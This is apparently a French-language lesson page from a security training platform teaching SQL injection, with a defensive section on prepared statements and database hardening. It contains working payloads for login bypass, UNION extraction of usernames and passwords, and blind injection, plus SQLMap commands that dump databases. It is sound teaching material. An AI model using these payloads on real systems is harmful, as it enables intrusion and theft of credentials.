Injection SQL

Transformez des champs de saisie anodins en points d'accès aux bases de données

Exploitation de bases de données Attaques Union Outils professionnels

Ce que vous allez découvrir

🎯 Pourquoi c'est important

L'injection SQL reste la vulnérabilité applicative web la plus critique, classée #3 dans le Top 10 de l'OWASP. Malgré une documentation abondante depuis plus de deux décennies, elle continue de compromettre des applications modernes en raison d'une validation insuffisante des entrées. Lorsque vous comprenez l'exploitation des injections SQL, vous apprenez les mêmes techniques que les professionnels de la sécurité utilisent pour identifier les vulnérabilités critiques dans les applications d'entreprise à travers le monde.

🔍 Ce que vous allez apprendre

Vous maîtriserez les outils et méthodologies standards de l'industrie que les experts en sécurité utilisent pour exploiter les vulnérabilités d'injection SQL. Cela inclut SQLMap pour l'exploitation automatisée, Burp Suite pour les tests manuels, et les techniques basées sur UNION pour l'extraction de données — le même arsenal utilisé par les pentesters lors d'évaluations de sécurité réelles.

🚀 Votre première réussite

Dans les 10 prochaines minutes, vous exploiterez votre première vulnérabilité d'injection SQL en utilisant exactement les mêmes techniques manuelles sur lesquelles les experts en sécurité s'appuient. Vous verrez comment un simple formulaire de recherche peut être transformé en passerelle pour un accès complet à la base de données et comprendrez pourquoi une validation correcte des entrées est cruciale pour des applications sécurisées.

🔧 Essayez maintenant

Apprenez la technique en testant ce formulaire de recherche vulnérable qui accepte les entrées utilisateur sans validation appropriée

# Tester l'injection SQL dans un paramètre de recherche
# URL vulnérable : http://<target>/search.php?query=products

# Étape 1 : Tester la vulnérabilité avec un guillemet simple
http://<target>/search.php?query=products'

# Si vous voyez une erreur de base de données comme :
# "MySQL syntax error near '\'' at line 1"
# L'application est vulnérable !

# Étape 2 : Tester la logique booléenne de base
http://<target>/search.php?query=products' OR '1'='1

# Étape 3 : Déterminer le nombre de colonnes (incrémenter jusqu'à erreur)
http://<target>/search.php?query=products' ORDER BY 1--  # Fonctionne
http://<target>/search.php?query=products' ORDER BY 2--  # Fonctionne
http://<target>/search.php?query=products' ORDER BY 5--  # Erreur !
# Quand vous obtenez "ORDER BY position 5 is not in select list"
# Vous savez qu'il y a 4 colonnes dans la requête SELECT

# Étape 4 : Extraire la version de la base de données
http://<target>/search.php?query=products' UNION SELECT database(),version()--

Vous verrez : Comment un simple caractère guillemet révèle des erreurs de base de données, prouvant que l'application est vulnérable. Cela démontre la faille fondamentale qui permet aux attaques par injection SQL de réussir.

Compétences que vous maîtriserez

✅ Compréhension fondamentale

  • Comment les requêtes SQL fonctionnent et pourquoi elles échouent (plus de mystère !)
  • Extraction de données basée sur UNION depuis plusieurs tables
  • Méthodologies d'attaque professionnelles et patterns de réussite
  • Outils standards de l'industrie pour l'exploitation de bases de données

🔍 Compétences avancées

  • Utiliser SQLMap comme un consultant en sécurité
  • Exploiter Burp Suite pour des tests systématiques
  • Calculer la faisabilité des attaques et l'énumération des bases de données
  • Implémenter des contre-mesures défensives appropriées

Comprendre la vulnérabilité d'injection SQL

L'injection SQL se produit lorsque les entrées utilisateur sont directement concaténées dans les requêtes SQL sans validation appropriée — permettant aux attaquants de modifier la structure de la requête

Le problème fondamental n'est pas la technologie SQL elle-même, mais la façon dont les développeurs gèrent les entrées utilisateur. Lorsque les applications utilisent la concaténation de chaînes pour construire des requêtes SQL, elles créent une faille de sécurité critique. Voici ce qui se passe au niveau du code :

Le pattern de code vulnérable

# VULNÉRABLE - Concaténation de chaînes (NE FAITES PAS CELA)
query = "SELECT * FROM users WHERE username = '" + userInput + "'";

# Quand userInput = "admin", la requête devient :
# SELECT * FROM users WHERE username = 'admin'

# Quand userInput = "admin' OR '1'='1'--", la requête devient :
# SELECT * FROM users WHERE username = 'admin' OR '1'='1'--'
# La condition OR rend cela toujours vrai, contournant l'authentification

Remarquez comment l'entrée de l'attaquant sort du contexte de chaîne prévu et injecte une logique SQL exécutable. La base de données ne sait pas où les données utilisateur se terminent et où les commandes SQL commencent.

⚠️ Le problème

Les applications concatènent les entrées utilisateur directement dans les requêtes SQL sans validation

🎯 L'attaque

Du code SQL malveillant injecté via les champs de saisie modifie la logique de la requête

💥 L'impact

Accès complet à la base de données, extraction de données et compromission potentielle du système

Outils et techniques

SQLMap : le champion de l'automatisation

SQLMap est le standard de l'industrie pour l'exploitation automatisée des injections SQL, utilisé par les professionnels de la sécurité dans le monde entier. Il peut détecter les vulnérabilités, énumérer les bases de données et extraire des données avec une intervention manuelle minimale.

Attaque SQLMap étape par étape

# Étape 1 : Installer SQLMap (inclus avec Kali Linux)
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

# Étape 2 : Tester la vulnérabilité et énumérer les bases de données
python3 sqlmap.py -u "http://<target>/search.php?id=1" --dbs

# Étape 3 : Énumérer les tables dans une base de données spécifique
python3 sqlmap.py -u "http://<target>/search.php?id=1" -D webapp --tables

# Étape 4 : Extraire les données d'une table spécifique
python3 sqlmap.py -u "http://<target>/search.php?id=1" -D webapp -T users --dump

# Étape 5 : Tester les requêtes POST avec données de formulaire
python3 sqlmap.py -u "http://<target>/login.php" --data="username=admin&password=test" --dbs

# Étape 6 : Utiliser avec l'intégration Burp Suite
python3 sqlmap.py -r hdna-request.txt --batch

Cette même méthodologie est utilisée par les pentesters lors des évaluations de sécurité pour identifier de manière exhaustive les vulnérabilités d'injection SQL dans les systèmes de production.

Techniques manuelles : les fondamentaux

Comprendre l'exploitation manuelle distingue les experts en sécurité des script kiddies. Ces techniques vous donnent les bases pour vous adapter à n'importe quel scénario d'injection SQL. Décomposons chaque étape de l'approche systématique que les professionnels utilisent :

Exploitation manuelle basée sur UNION : le processus complet

# Étape 1 : Tester la vulnérabilité
http://<target>/product.php?id=1'

# Étape 2 : Déterminer le nombre de colonnes (tester de manière incrémentale)
http://<target>/product.php?id=1' ORDER BY 5--

# Étape 3 : Trouver les colonnes injectables
http://<target>/product.php?id=1' UNION SELECT 1,2,3,4,5--

# Étape 4 : Extraire les informations de la base de données
http://<target>/product.php?id=1' UNION SELECT 1,database(),version(),4,5--

# Étape 5 : Énumérer les tables
http://<target>/product.php?id=1' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()--

# Étape 6 : Extraire les identifiants utilisateur
http://<target>/product.php?id=1' UNION SELECT 1,username,password,4,5 FROM users--

Outils complémentaires

Les évaluations de sécurité professionnelles nécessitent plusieurs outils pour des tests complets. Voici les utilitaires essentiels qui complètent SQLMap.

  • Burp Suite - Intercepter et modifier les requêtes HTTP pour les tests manuels
  • Commix - Automatisation des injections de commandes et SQL
  • Ghauri - Exploitation avancée des injections SQL en aveugle
  • XSStrike - Tests de payloads multi-vecteurs (inclut l'injection SQL)

Scénarios d'attaque réels

Ces scénarios représentent des patterns réels trouvés lors d'évaluations de sécurité, démontrant l'application pratique des techniques d'injection SQL dans les tests de pénétration professionnels.

Scénario 1 : recherche de produits e-commerce (5 minutes)

La fonctionnalité de recherche de produits est l'une des cibles d'injection SQL les plus courantes. Tester les paramètres de recherche devrait être votre priorité lors des évaluations d'applications web.

# Tester la fonctionnalité de recherche pour l'injection SQL
URL : http://<target>/products.php?search=laptops

# Étape 1 : Tester avec un guillemet simple
http://<target>/products.php?search=laptops'

# Si une erreur apparaît : "MySQL syntax error"
# Étape 2 : Confirmer avec la logique booléenne
http://<target>/products.php?search=laptops' OR '1'='1'--

# Étape 3 : Extraire les informations de la base de données
http://<target>/products.php?search=laptops' UNION SELECT database(),version(),NULL--

# Astuce HackerDNA : Utilisez SQLMap pour l'automatisation
sqlmap -u "http://<target>/products.php?search=hdna-test" --batch --dbs

Taux de réussite : Les fonctions de recherche de produits contiennent fréquemment des vulnérabilités d'injection SQL en raison d'une validation insuffisante des termes de recherche contrôlés par l'utilisateur.

Scénario 2 : contournement de l'authentification utilisateur (8 minutes)

Les formulaires de connexion sont des cibles privilégiées pour les attaques par injection SQL qui peuvent contourner entièrement l'authentification. Cette technique démontre comment les attaquants obtiennent un accès non autorisé aux comptes administrateurs.

# Tester le formulaire de connexion pour l'injection SQL
POST http://<target>/login.php
Content-Type: application/x-www-form-urlencoded

# Étape 1 : Tester le champ username avec un payload de contournement
username=admin' OR '1'='1'-- &password=anything

# Étape 2 : Extraire les informations utilisateur
username=admin' UNION SELECT username,password FROM users WHERE username='admin'-- &password=test

# Étape 3 : Utiliser SQLMap pour l'extraction automatisée
sqlmap -u "http://<target>/login.php" --data="username=hdna&password=test" --dump

# Résultat attendu : Contournement de l'authentification ou extraction de données

Impact : Le contournement de l'authentification permet une prise de contrôle complète du compte, offrant souvent un accès administrateur à l'ensemble de l'application.

Scénario 3 : extraction de données par injection SQL en aveugle (12 minutes)

Lorsque les messages d'erreur ne sont pas affichés, les techniques d'injection SQL en aveugle permettent l'extraction de données via des délais temporels et une logique booléenne. Cette technique avancée nécessite de la patience mais produit des résultats complets. Voici comment vous extrayez systématiquement les données caractère par caractère :

Logique basée sur les booléens :

L'application répond différemment aux conditions vrai/faux. Si AND (condition) est vraie, la page se charge normalement. Si elle est fausse, elle affiche un contenu différent ou des erreurs.

Détection basée sur le temps :

Lorsque les méthodes booléennes échouent, vous pouvez utiliser les fonctions de pause de la base de données. Si votre condition est vraie, la base de données attend 5 secondes avant de répondre. Pas de délai signifie que la condition était fausse.

# Test d'injection SQL en aveugle
URL : http://<target>/news.php?id=1

# Étape 1 : Tester l'injection en aveugle basée sur les booléens
http://<target>/news.php?id=1' AND (SELECT COUNT(*) FROM users)>0--

# Étape 2 : Extraire les données caractère par caractère
http://<target>/news.php?id=1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--

# Étape 3 : Injection en aveugle basée sur le temps
http://<target>/news.php?id=1'; IF((SELECT COUNT(*) FROM users)>0) WAITFOR DELAY '00:00:05'--

# HackerDNA Avancé : Utilisez SQLMap pour l'exploitation en aveugle
sqlmap -u "http://<target>/news.php?id=1" --technique=B --batch --dump

Aperçu expert : L'injection SQL en aveugle nécessite une énumération systématique mais peut extraire des bases de données complètes même lorsque les messages d'erreur sont supprimés.

Contre-mesures défensives

Comprendre les techniques d'attaque vous permet d'implémenter des défenses appropriées. Voici comment les professionnels de la sécurité protègent les applications contre les attaques par injection SQL.

Requêtes paramétrées (instructions préparées)

La défense la plus efficace contre l'injection SQL est de traiter les entrées utilisateur comme des données, et non comme du code exécutable. Les requêtes paramétrées garantissent que les entrées utilisateur ne peuvent jamais altérer la structure de la requête SQL.

Exemples professionnels de codage sécurisé

# PHP avec PDO (recommandé)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

# Python avec requêtes paramétrées
cursor.execute("SELECT * FROM products WHERE category = %s AND price < %s", (category, max_price))

# Java avec PreparedStatement
String sql = "SELECT * FROM customers WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, email);

# Node.js avec requêtes paramétrées
const query = 'SELECT * FROM orders WHERE user_id = ? AND status = ?';
connection.query(query, [userId, status], callback);

Validation et assainissement des entrées

Implémentez une validation des entrées multicouche pour intercepter les payloads malveillants avant qu'ils n'atteignent la couche base de données. Cela fournit une sécurité en profondeur.

# Exemple de validation d'entrée (PHP)
function validateInput($input) {
    // Supprimer les caractères dangereux
    $input = preg_replace('/[^a-zA-Z0-9\s]/', '', $input);

    // Validation de la longueur
    if (strlen($input) > 100) {
        return false;
    }

    // Validation par liste blanche
    $allowedTerms = ['laptop', 'desktop', 'monitor', 'keyboard'];
    return in_array(strtolower($input), $allowedTerms);
}

Configuration de la sécurité de la base de données

Des permissions de base de données et des paramètres de sécurité correctement configurés peuvent limiter l'impact des attaques par injection SQL réussies.

  • Utiliser des comptes de base de données avec privilèges minimaux pour les applications
  • Désactiver les fonctions de base de données dangereuses (xp_cmdshell, LOAD_FILE)
  • Activer la journalisation d'audit de la base de données pour la détection des attaques
  • Implémenter des pare-feu de base de données pour la surveillance des patterns de requêtes
  • Mises à jour de sécurité régulières et gestion des correctifs

🎯 Vous maîtrisez l'injection SQL !

Vous comprenez maintenant l'exploitation des injections SQL comme un professionnel de la sécurité. Vous pouvez identifier les applications vulnérables, utiliser des outils standards de l'industrie pour des attaques systématiques, et implémenter des mesures défensives appropriées qui protègent les applications contre ces vulnérabilités critiques.

Maîtrise de SQLMap Exploitation manuelle Techniques Union Évaluation professionnelle

Prêt à exploiter les vulnérabilités avancées des bases de données

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Quel outil vous permet d'automatiser le processus de recherche et d'exploitation des vulnérabilités d'injection SQL ?

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte